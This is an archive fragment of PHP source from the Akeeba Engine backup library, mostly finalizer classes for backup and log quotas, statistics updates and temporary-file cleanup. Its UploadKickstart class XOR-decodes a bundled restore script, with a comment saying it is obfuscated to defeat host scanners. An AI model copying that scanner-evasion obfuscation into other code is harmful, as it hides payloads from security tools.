			$this->saveCalculatedQuotas($removeBackupIDs, $removeLogPaths, $filesToRemove);

			return false;
		}

		$removeBackupIDs = null;
		$removeLogPaths  = null;
		$filesToRemove   = null;

		$this->saveCalculatedQuotas($removeBackupIDs, $removeLogPaths, $filesToRemove);

		return true;
	}

	/**
	 * Get all the backup records to apply quotas on.
	 *
	 * @return  array
	 *
	 * @since   9.3.1
	 */
	abstract protected function getAllRecords(): array;

	/**
	 * Processes a list of records for removal. The removal DOES NOT take place here.
	 *
	 * @param   array  $allRecords       The records to process
	 * @param   array  $removeBackupIDs  Running tally of backup IDs to remove files from
	 * @param   array  $removeLogPaths   Running tally of log entries to remove
	 * @param   array  $ret              Running tally of arrays of files to remove
	 * @param   array  $leftover         Leftover records to be processed by the next quota rule
	 *
	 * @since   9.3.1
	 */
	protected function markAllRecordsForRemoval(array &$allRecords, array &$removeBackupIDs, array &$removeLogPaths, array &$ret, array &$leftover)
	{
		foreach ($allRecords as $def)
		{
			if ($def['id'] != $this->latestBackupId)
			{
				continue;
			}

			$temp       = array_pop($leftover);
			$leftover[] = $def;
			array_unshift($allRecords, $temp);

			break;
		}

		foreach ($allRecords as $def)
		{
			$ret[]             = $def['filenames'];
			$removeBackupIDs[] = $def['id'];

			if (empty($def['logname']))
			{
				continue;
			}

			$filePath = $def['absolute_path'];

			if (empty($filePath))
			{
				continue;
			}

			$logPath = dirname($filePath) . '/' . $def['logname'];

			if (@file_exists($logPath))
			{
				$removeLogPaths[] = $logPath;

				continue;
			}

			$altLogPath = substr($logPath, 0, -4);

			if (@file_exists($altLogPath))
			{
				/**
				 * Bad host: the log file akeeba.tag.log.php may not exist but the akeeba.tag.log file
				 * does. This code addresses this problem.
				 */
				$removeLogPaths[] = $altLogPath;
			}
		}
	}

	/**
	 * Performs the actual removal.
	 *
	 * @param   array  $removeBackupIDs  The backup IDs which will have their files removed
	 * @param   array  $filesToRemove    The flat list of files to remove
	 * @param   array  $removeLogPaths   The flat list of log paths to remove
	 *
	 * @return  bool  True if we are done, false to come back in the next step of the engine
	 * @throws  Exception
	 * @since   9.3.1
	 */
	abstract protected function processRemovals(array &$removeBackupIDs, array &$filesToRemove, array &$removeLogPaths): bool;

	/**
	 * Applies the Count Quotas.
	 *
	 * @param   array  $allRecords       All records left to process
	 * @param   array  $removeBackupIDs  Running tally of backup IDs to remove files from
	 * @param   array  $removeLogPaths   Running tally of log entries to remove
	 * @param   array  $ret              Running tally of arrays of files to remove
	 *
	 * @return  void
	 * @since   9.3.1
	 */
	private function applyCountQuotas(array &$allRecords, array &$removeBackupIDs, array &$removeLogPaths, array &$ret)
	{
		$configuration  = Factory::getConfiguration();
		$useCountQuotas = $configuration->get($this->configKeys['countEnable']);
		$countQuota     = $configuration->get($this->configKeys['countValue']);

		// Do we need to apply count quotas?
		if (!$useCountQuotas || !is_numeric($countQuota) || $countQuota <= 0)
		{
			return;
		}

		// We should only run a count quota if there are more files than the set limit
		if (count($allRecords) <= $countQuota)
		{
			return;
		}

		Factory::getLog()->debug(
			sprintf(
				'Processing %s count quotas',
				$this->quotaType
			)
		);

		/**
		 * Backups are sorted by reverse ID order, e.g. 200, 199, 198, 197, 196, 195, 194, 193, 192, 191, 190, 189, 188.
		 * I need to keep the first $countQuota records in $leftover and process the remaining records.
		 */
		$leftover   = array_slice($allRecords, 0, $countQuota);
		$allRecords = array_slice($allRecords, $countQuota);

		$this->markAllRecordsForRemoval($allRecords, $removeBackupIDs, $removeLogPaths, $ret, $leftover);

		$allRecords = $leftover;
	}

	/**
	 * Applies the Day-Based Quotas.
	 *
	 * @param   array  $allRecords       All records left to process
	 * @param   array  $removeBackupIDs  Running tally of backup IDs to remove files from
	 * @param   array  $removeLogPaths   Running tally of log entries to remove
	 * @param   array  $ret              Running tally of arrays of files to remove
	 *
	 * @return  void
	 * @since   9.3.1
	 */
	private function applyDayQuotas(array &$allRecords, array &$removeBackupIDs, array &$removeLogPaths, array &$ret): void
	{
		$configuration = Factory::getConfiguration();
		$daysQuota     = $configuration->get($this->configKeys['maxAgeDays']);
		$preserveDay   = $configuration->get($this->configKeys['maxAgeKeep']);
		$leftover      = [];

		$killDatetime = new DateTime();
		$killDatetime->modify('-' . $daysQuota . ($daysQuota == 1 ? ' day' : ' days'));
		$killTS = $killDatetime->format('U');

		/**
		 * Move the following kind of records FROM allRecords TO leftover:
		 * - Current backup record
		 * - Backups on a preserve day
		 * - Backups newer than the earliest removal date
		 */
		$allRecords = array_filter(
			$allRecords,
			function (array $def) use ($killDatetime, $killTS, $preserveDay, &$leftover): bool {
				if ($def['id'] == $this->latestBackupId)
				{
					$leftover[] = $def;

					return false;
				}

				// Is this on a preserve day?
				if ($preserveDay > 0 && $def['day'] == $preserveDay)
				{
					$leftover[] = $def;

					return false;
				}

				// Otherwise, check the timestamp
				if ($def['backupstart'] >= $killTS)
				{
					$leftover[] = $def;

					return false;
				}

				return true;
			}
		);

		$this->markAllRecordsForRemoval($allRecords, $removeBackupIDs, $removeLogPaths, $ret, $leftover);

		$allRecords = $leftover;
	}

	/**
	 * Applies the Maximum Size Quotas.
	 *
	 * @param   array  $allRecords       All records left to process
	 * @param   array  $removeBackupIDs  Running tally of backup IDs to remove files from
	 * @param   array  $removeLogPaths   Running tally of log entries to remove
	 * @param   array  $ret              Running tally of arrays of files to remove
	 *
	 * @return  void
	 * @since   9.3.1
	 */
	private function applySizeQuotas(array &$allRecords, array &$removeBackupIDs, array &$removeLogPaths, array &$ret)
	{
		$configuration = Factory::getConfiguration();
		$useSizeQuotas = $configuration->get($this->configKeys['sizeEnable']);
		$sizeQuota     = $configuration->get($this->configKeys['sizeValue']);

		// Do we need to apply size quotas?
		if (!$useSizeQuotas || !is_numeric($sizeQuota) || $sizeQuota <= 0 || count($allRecords) <= 0)
		{
			return;
		}

		Factory::getLog()->debug(
			sprintf(
				'Processing %s size quotas',
				$this->quotaType
			)
		);

		// First I will find how many elements of the array I need to get to the $sizeQuota size.
		$runningSize     = 0;
		$numberOfRecords = 0;

		foreach ($allRecords as $def)
		{
			$numberOfRecords++;

			if ($def['id'] == $this->latestBackupId)
			{
				continue;
			}

			$runningSize += $def['size'];

			if ($runningSize >= $sizeQuota)
			{
				break;
			}
		}

		$leftover   = array_slice($allRecords, 0, $numberOfRecords);
		$allRecords = array_slice($allRecords, $numberOfRecords);

		$this->markAllRecordsForRemoval($allRecords, $removeBackupIDs, $removeLogPaths, $ret, $leftover);

		$allRecords = $leftover;
	}

	private function calculateQuotas(&$allRecords, &$removeBackupIDs, &$removeLogPaths, &$filesToRemove): bool
	{
		$configuration = Factory::getConfiguration();
		$useDayQuotas  = $configuration->get($this->configKeys['maxAgeEnable']);

		$allRecords = $this->getAllRecords();

		// If there are no files, exit early
		if (count($allRecords) == 0)
		{
			Factory::getLog()->debug(
				sprintf(
					'There were no old backup records to apply %s quotas on',
					$this->quotaType
				)
			);

			return false;
		}

		// Init arrays
		$removeBackupIDs = [];
		$removeLogPaths  = [];
		$ret             = [];

		// Do we need to apply maximum backup age quotas?
		if ($useDayQuotas)
		{
			$this->applyDayQuotas($allRecords, $removeBackupIDs, $removeLogPaths, $ret);
		}
		else
		{
			$this->applyCountQuotas($allRecords, $removeBackupIDs, $removeLogPaths, $ret);
			$this->applySizeQuotas($allRecords, $removeBackupIDs, $removeLogPaths, $ret);
		}

		// Convert the $ret 2-dimensional array to single dimensional
		$filesToRemove = [];

		foreach ($ret as $temp)
		{
			$filesToRemove = array_merge($filesToRemove ?? [], $temp);
		}

		return true;
	}

	/**
	 * Save the calculated quotas into the volatile storage
	 *
	 * @param   array|null  $removeBackupIDs  Running tally of backup IDs to remove files from
	 * @param   array|null  $removeLogPaths   Running tally of log entries to remove
	 * @param   array|null  $filesToRemove    The flat list of files to remove
	 *
	 * @return  void
	 * @since   9.3.1
	 */
	private function saveCalculatedQuotas(?array &$removeBackupIDs, ?array &$removeLogPaths, ?array &$filesToRemove): void
	{
		$configuration      = Factory::getConfiguration();
		$keyIsCalculated    = sprintf('volatile.quotas.%s.calculated', $this->quotaType);
		$keyRemoveBackupIDs = sprintf('volatile.quotas.%s.removeBackupIDs', $this->quotaType);
		$keyRemoveLogPaths  = sprintf('volatile.quotas.%s.removeLogPaths', $this->quotaType);
		$keyFilesToRemove   = sprintf('volatile.quotas.%s.filesToRemove', $this->quotaType);

		$isCalculated = $removeBackupIDs !== null || $removeLogPaths !== null || $filesToRemove !== null;

		if ($isCalculated)
		{
			$configuration->set($keyIsCalculated, true);
			$configuration->set($keyRemoveBackupIDs, $removeBackupIDs);
			$configuration->set($keyRemoveLogPaths, $removeLogPaths);
			$configuration->set($keyFilesToRemove, $filesToRemove);

			return;
		}

		$configuration->remove($keyIsCalculated);
		$configuration->remove($keyRemoveBackupIDs);
		$configuration->remove($keyRemoveLogPaths);
		$configuration->remove($keyFilesToRemove);
	}
}PK     \&m    E  vendor/akeeba/engine/engine/Core/Domain/Finalizer/UploadKickstart.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

/**
 * @package     Akeeba\Engine\Core\Domain\Finalizer
 * @subpackage
 *
 * @copyright   A copyright
 * @license     A "Slug" license name e.g. GPL2
 */

namespace Akeeba\Engine\Core\Domain\Finalizer;

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Exception;
use Akeeba\Engine\Psr\Log\LogLevel;

/**
 * Uploads Kickstart using the post-processing engine
 *
 * @since       9.3.1
 * @package     Akeeba\Engine\Core\Domain\Finalizer
 */
final class UploadKickstart extends AbstractFinalizer
{

	/**
	 * @inheritDoc
	 */
	public function __invoke()
	{
		$this->setStep('Post-processing Kickstart');
		$this->setSubstep('');

		$configuration = Factory::getConfiguration();

		// Do not run if we are not told to upload Kickstart
		$uploadKickstart = $configuration->get('akeeba.advanced.uploadkickstart', 0);

		if (!$uploadKickstart)
		{
			return true;
		}

		$engineName = $configuration->get('akeeba.advanced.postproc_engine');
		Factory::getLog()->debug("Loading post-processing engine object ($engineName)");
		$postProcEngine = Factory::getPostprocEngine($engineName);

		// Prefer XOR-encoded kickstart.dat (obfuscated to defeat host scanners); fall back to plain kickstart.txt.
		$xorKey        = 'ThisIsKickstartCoreWhichIsNotMaliciousYouCanDownloadItFromAkeebaDotComIfYouWant';
		$installerPath = Platform::getInstance()->get_installer_images_path();
		$encodedPath   = $installerPath . '/kickstart.dat';
		$plainPath     = $installerPath . '/kickstart.txt';
		$isTempFile    = false;

		if (@file_exists($encodedPath) && is_file($encodedPath))
		{
			$encoded    = file_get_contents($encodedPath);
			$fullKey    = str_repeat($xorKey, (int) ceil(strlen($encoded) / strlen($xorKey)));
			$filename   = tempnam(sys_get_temp_dir(), 'ksdat_');
			$isTempFile = true;
			file_put_contents($filename, $encoded ^ substr($fullKey, 0, strlen($encoded)));
		}
		elseif (@file_exists($plainPath) && is_file($plainPath))
		{
			$filename = $plainPath;
		}
		else
		{
			Factory::getLog()->warning(
				sprintf('Failed to upload kickstart.php. Missing file %s', $encodedPath)
			);

			// Indicate we're done.
			return true;
		}

		// Post-process the file
		$this->setSubstep('kickstart.php');

		$exception          = null;
		$finishedProcessing = false;

		try
		{
			$finishedProcessing = $postProcEngine->processPart($filename, 'kickstart.php');
		}
		catch (Exception $e)
		{
			$exception = $e;
		}
		finally
		{
			if ($isTempFile)
			{
				@unlink($filename);
			}
		}

		if (!is_null($exception))
		{
			Factory::getLog()->warning('Failed to upload kickstart.php');
			Factory::getLog()->warning('Error received from the post-processing engine:');
			$this->logErrorsFromException($exception, LogLevel::WARNING);
		}
		elseif ($finishedProcessing === true)
		{
			// The post-processing of this file ended successfully
			Factory::getLog()->info('Finished uploading kickstart.php');
			$configuration->set('volatile.postproc.filename', null);
		}

		// Indicate we're done
		return true;
	}
}PK     \X<x    J  vendor/akeeba/engine/engine/Core/Domain/Finalizer/RemoveTemporaryFiles.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

/**
 * @package     Akeeba\Engine\Core\Domain\Finalizer
 * @subpackage
 *
 * @copyright   A copyright
 * @license     A "Slug" license name e.g. GPL2
 */

namespace Akeeba\Engine\Core\Domain\Finalizer;

use Akeeba\Engine\Factory;

/**
 * Removes temporary files.
 *
 * @since       9.3.1
 * @package     Akeeba\Engine\Core\Domain\Finalizer
 *
 */
final class RemoveTemporaryFiles extends AbstractFinalizer
{
	/**
	 * @inheritDoc
	 */
	public function __invoke()
	{
		$this->setStep('Removing temporary files');
		$this->setSubstep('');
		Factory::getLog()->debug("Removing temporary files");
		Factory::getTempFiles()->deleteTempFiles();

		return true;
	}
}PK     \g    A  vendor/akeeba/engine/engine/Core/Domain/Finalizer/LocalQuotas.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

/**
 * @package     Akeeba\Engine\Core\Domain\Finalizer
 * @subpackage
 *
 * @copyright   A copyright
 * @license     A "Slug" license name e.g. GPL2
 */

namespace Akeeba\Engine\Core\Domain\Finalizer;

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use DateTime;
use Exception;

final class LocalQuotas extends AbstractQuotaManagement
{

	/**
	 * Get all the backup records to apply quotas on.
	 *
	 * @return  array
	 *
	 * @since   9.3.1
	 */
	protected function getAllRecords(): array
	{
		// Get valid-looking backup ID's
		$validIDs = Platform::getInstance()->get_valid_backup_records(true) ?: [];

		// Create a list of valid files
		$allFiles   = [];
		$statistics = Factory::getStatistics();

		foreach ($validIDs as $id)
		{
			$stat = Platform::getInstance()->get_statistics($id);

			// Exclude frozen record from quota management
			if (isset($stat['frozen']) && $stat['frozen'])
			{
				Factory::getLog()->debug(
					sprintf(
						'Excluding frozen backup id %d from %s quota management',
						$id,
						$this->quotaType
					)
				);
				continue;
			}

			try
			{
				$backupstart = new DateTime($stat['backupstart']);
				$backupTS    = $backupstart->format('U');
				$backupDay   = $backupstart->format('d');
			}
			catch (Exception $e)
			{
				$backupTS  = 0;
				$backupDay = 0;
			}

			// Get the log file name
			$tag      = $stat['tag'];
			$backupId = $stat['backupid'] ?? '';
			$logName  = '';

			if (!empty($backupId))
			{
				$logName = 'akeeba.' . $tag . '.' . $backupId . '.log.php';
			}

			// Multipart processing
			$filenames = $statistics->get_all_filenames($stat, true);

			// Only process existing files
			if (is_null($filenames))
			{
				continue;
			}

			$filesize = 0;

			foreach ($filenames as $filename)
			{
				$filesize += @filesize($filename);
			}

			$allFiles[] = [
				'id'            => $id,
				'filenames'     => $filenames,
				'size'          => $filesize,
				'backupstart'   => $backupTS,
				'day'           => $backupDay,
				'logname'       => $logName,
				'absolute_path' => $stat['absolute_path'],
			];
		}

		return $allFiles;
	}

	/**
	 * Performs the actual removal.
	 *
	 * @param   array  $removeBackupIDs  The backup IDs which will have their files removed
	 * @param   array  $filesToRemove    The flat list of files to remove
	 * @param   array  $removeLogPaths   The flat list of log paths to remove
	 *
	 * @return  bool  True if we are done, false to come back in the next step of the engine
	 * @throws  Exception
	 * @since   9.3.1
	 */
	protected function processRemovals(array &$removeBackupIDs, array &$filesToRemove, array &$removeLogPaths): bool
	{
		$timer = Factory::getTimer();

		// Update the statistics record with the removed remote files
		if (!empty($removeBackupIDs))
		{
			Factory::getLog()->debug(
				sprintf(
					'Applying %s quotas: updating backup records',
					$this->quotaType
				)
			);
		}

		while (!empty($removeBackupIDs) && $timer->getTimeLeft() > 0)
		{
			$id   = array_shift($removeBackupIDs);
			$data = ['filesexist' => '0'];

			Platform::getInstance()->set_or_update_statistics($id, $data);
		}

		// Check if I have enough time
		if ($timer->getTimeLeft() <= 0)
		{
			return false;
		}

		// Apply quotas upon backup records
		if (!empty($filesToRemove) > 0)
		{
			Factory::getLog()->debug(
				sprintf(
					'Applying %s quotas: removing backup archives',
					$this->quotaType
				)
			);
		}

		while (!empty($filesToRemove) && $timer->getTimeLeft() > 0)
		{
			$file = array_shift($filesToRemove);

			if (@Platform::getInstance()->unlink($file))
			{
				continue;
			}

			Factory::getLog()->warning(
				sprintf(
					'Failed to remove old backup file %s',
					$file
				)
			);
		}

		// Check if I have enough time
		if ($timer->getTimeLeft() <= 0)
		{
			return false;
		}

		// Apply quotas to log files
		if (!empty($removeLogPaths))
		{
			Factory::getLog()->debug(
				sprintf(
					'Applying %s quotas: removing obsolete log files',
					$this->quotaType
				)
			);
			Factory::getLog()->debug('Removing obsolete log files');
		}

		while (!empty($removeLogPaths) && $timer->getTimeLeft() > 0)
		{
			$logPath = array_shift($removeLogPaths);

			if (@Platform::getInstance()->unlink($logPath))
			{
				continue;
			}

			Factory::getLog()->debug(
				sprintf(
					'Failed to remove old log file %s',
					$logPath
				)
			);
		}

		// Check if I have enough time
		if ($timer->getTimeLeft() <= 0)
		{
			return false;
		}

		return true;
	}
}PK     \kcn
  n
  E  vendor/akeeba/engine/engine/Core/Domain/Finalizer/UpdateFileSizes.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

/**
 * @package     Akeeba\Engine\Core\Domain\Finalizer
 * @subpackage
 *
 * @copyright   A copyright
 * @license     A "Slug" license name e.g. GPL2
 */

namespace Akeeba\Engine\Core\Domain\Finalizer;

use Akeeba\Engine\Factory;

/**
 * Updates the file sizes in the statistics records
 *
 * @since       9.3.1
 * @package     Akeeba\Engine\Core\Domain\Finalizer
 *
 */
final class UpdateFileSizes extends AbstractFinalizer
{
	/**
	 * @inheritDoc
	 */
	public function __invoke()
	{
		$this->setStep('Updating file sizes');
		$this->setSubstep('');
		Factory::getLog()->debug("Updating statistics with file sizes");

		// Fetch the stats record
		$statistics    = Factory::getStatistics();
		$configuration = Factory::getConfiguration();
		$record        = $statistics->getRecord();
		$filenames     = $statistics->get_all_filenames($record) ?: [];
		$filesize      = 0.0;

		// Calculate file sizes of files remaining on the server
		foreach ($filenames as $file)
		{
			$filesize += ((@filesize($file)) ?: 0) * 1.0;
		}

		// Get the part size in volatile storage, set from the immediate part uploading effected by the
		// "Process each part immediately" option, and add it to the total file size
		$config              = $configuration;
		$postProcImmediately = $config->get('engine.postproc.common.after_part', 0, false);
		$deleteAfter         = $config->get('engine.postproc.common.delete_after', 0, false);
		$postProcEngine      = $config->get('akeeba.advanced.postproc_engine', 'none');

		if ($postProcImmediately && $deleteAfter && ($postProcEngine != 'none'))
		{
			$filesize += $configuration->get('volatile.engine.archiver.totalsize', 0) ?: 0;
		}

		$data = [
			'total_size' => $filesize,
		];

		Factory::getLog()->debug("Total size of backup archive (in bytes): $filesize");

		$statistics->setStatistics($data);

		return true;
	}
}PK     \x	  	  F  vendor/akeeba/engine/engine/Core/Domain/Finalizer/UpdateStatistics.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

/**
 * @package     Akeeba\Engine\Core\Domain\Finalizer
 * @subpackage
 *
 * @copyright   A copyright
 * @license     A "Slug" license name e.g. GPL2
 */

namespace Akeeba\Engine\Core\Domain\Finalizer;

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Exception;

/**
 * Updates the backup statistics record
 *
 * @since       9.3.1
 * @package     Akeeba\Engine\Core\Domain\Finalizer
 */
final class UpdateStatistics extends AbstractFinalizer
{
	/**
	 * @inheritDoc
	 */
	public function __invoke()
	{
		$this->setStep('Updating backup record information');
		$this->setSubstep('');

		Factory::getLog()->debug('Updating statistics');

		// We finished normally. Fetch the stats record
		$statistics = Factory::getStatistics();
		$registry   = Factory::getConfiguration();
		$data       = [
			'backupend' => Platform::getInstance()->get_timestamp_database(),
			'status'    => 'complete',
			'multipart' => $registry->get('volatile.statistics.multipart', 0),
		];

		try
		{
			$result = $statistics->setStatistics($data);
		}
		catch (Exception $e)
		{
			$result = false;
		}

		if ($result === false)
		{
			// Most likely a "MySQL has gone away" issue...
			$configuration = Factory::getConfiguration();
			$configuration->set('volatile.breakflag', true);

			return false;
		}

		/**
		 * We could have handled it in $data above. However, if the schema has not been updated this function will
		 * continue failing infinitely, causing the backup to never end.
		 */
		$statistics->updateInStep(false);

		$stat = (object) $statistics->getRecord();
		Platform::getInstance()->remove_duplicate_backup_records($stat->archivename);

		return true;
	}
}PK     \ht	  	  G  vendor/akeeba/engine/engine/Core/Domain/Finalizer/AbstractFinalizer.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

/**
 * @package     Akeeba\Engine\Core\Domain\Finalizer
 * @subpackage
 *
 * @copyright   A copyright
 * @license     A "Slug" license name e.g. GPL2
 */

namespace Akeeba\Engine\Core\Domain\Finalizer;

use Akeeba\Engine\Core\Domain\Finalization;
use Akeeba\Engine\Psr\Log\LogLevel;

/**
 * Abstract implementation of a finalizer class
 *
 * @since       9.3.1
 * @package     Akeeba\Engine\Core\Domain\Finalizer
 */
abstract class AbstractFinalizer implements FinalizerInterface
{
	/**
	 * The part we belong to
	 *
	 * @since 9.3.1
	 * @var   Finalization
	 */
	private $finalizationPart;

	/**
	 * Public constructor
	 *
	 * @param   Finalization  $finalizationPart  The part we belong to.
	 *
	 * @since   9.3.1
	 */
	public function __construct(Finalization $finalizationPart)
	{
		$this->finalizationPart = $finalizationPart;
	}

	/**
	 * Relays an exception so it can be logged
	 *
	 * @param   \Throwable  $e
	 * @param   string      $logLevel
	 *
	 * @return  void
	 * @since   9.3.1
	 */
	protected function logErrorsFromException(\Throwable $e, string $logLevel = LogLevel::ERROR): void
	{
		$this->finalizationPart->relayException($e, $logLevel);
	}

	/**
	 * Relays the current step back to the parent finalization engine part
	 *
	 * @param   string  $step  The step name to set
	 *
	 * @return  void
	 * @since   9.3.1
	 */
	protected function setStep(string $step): void
	{
		$this->finalizationPart->relayStep($step);
	}

	/**
	 * Relays the current sub-step back to the parent finalization engine part
	 *
	 * @param   string  $substep  The sub-step name to set
	 *
	 * @return  void
	 * @since   9.3.1
	 */
	protected function setSubstep(string $substep): void
	{
		$this->finalizationPart->relaySubstep($substep);
	}
}PK     \NGy  y  H  vendor/akeeba/engine/engine/Core/Domain/Finalizer/FinalizerInterface.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

/**
 * @package     Akeeba\Engine\Core\Domain\Finalizer
 * @subpackage
 *
 * @copyright   A copyright
 * @license     A "Slug" license name e.g. GPL2
 */

namespace Akeeba\Engine\Core\Domain\Finalizer;

use Akeeba\Engine\Core\Domain\Finalization;
use Exception;

/**
 * Interface to a finalizer invokable class.
 *
 * @since 9.3.1
 */
interface FinalizerInterface
{
	/**
	 * Public constructor
	 *
	 * @param   Finalization  $finalizationPart  The part we belong to.
	 *
	 * @since   9.3.1
	 */
	public function __construct(Finalization $finalizationPart);

	/**
	 * Executes the finalizer job. Returns true when done, false if it needs to run further.
	 *
	 * @return  bool  True if we are fully done. False if we must be called again.
	 * @throws  Exception  When an error occurs.
	 *
	 * @since   9.3.1
	 */
	public function __invoke();
}PK     \)l%  %  C  vendor/akeeba/engine/engine/Core/Domain/Finalizer/LogFileQuotas.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Core\Domain\Finalizer;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use DateTime;
use Exception;

/**
 * Applies quota management to backup log files, deleting old log files per the configured policy.
 *
 * @since   10.3.3
 * @package Akeeba\Engine\Core\Domain\Finalizer
 */
final class LogFileQuotas extends AbstractFinalizer
{
	private const KEY_CALCULATED       = 'volatile.quotas.logfiles.calculated';
	private const KEY_REMOVE_LOG_PATHS = 'volatile.quotas.logfiles.removeLogPaths';

	/**
	 * @inheritDoc
	 */
	public function __invoke(): bool
	{
		$this->setStep('Applying log file quotas');
		$this->setSubstep('');

		$configuration = Factory::getConfiguration();
		$timer         = Factory::getTimer();

		$quotaMode = (int) $configuration->get('akeeba.quota.enable_logfiles', 0);

		if ($quotaMode === 0)
		{
			Factory::getLog()->debug('Log file quotas are disabled; log files will be kept intact.');

			return true;
		}

		$isCalculated   = (bool) $configuration->get(self::KEY_CALCULATED, false);
		$removeLogPaths = $configuration->get(self::KEY_REMOVE_LOG_PATHS, []) ?: [];

		if (!$isCalculated)
		{
			$candidates     = $this->collectCandidates();
			$removeLogPaths = $this->calculateRemovePaths($candidates, $configuration);

			$configuration->set(self::KEY_CALCULATED, true);
			$configuration->set(self::KEY_REMOVE_LOG_PATHS, $removeLogPaths);

			if ($timer->getTimeLeft() <= 0)
			{
				return false;
			}
		}

		while (!empty($removeLogPaths) && $timer->getTimeLeft() > 0)
		{
			$logPath = array_shift($removeLogPaths);

			if (!@Platform::getInstance()->unlink($logPath))
			{
				Factory::getLog()->warning(sprintf('Failed to remove log file %s', $logPath));
			}
			else
			{
				Factory::getLog()->debug(sprintf('Removed log file %s', $logPath));
			}
		}

		$configuration->set(self::KEY_REMOVE_LOG_PATHS, $removeLogPaths);

		if (!empty($removeLogPaths))
		{
			return false;
		}

		$configuration->remove(self::KEY_CALCULATED);
		$configuration->remove(self::KEY_REMOVE_LOG_PATHS);

		return true;
	}

	/**
	 * Collects log file candidates from the database for the current profile.
	 *
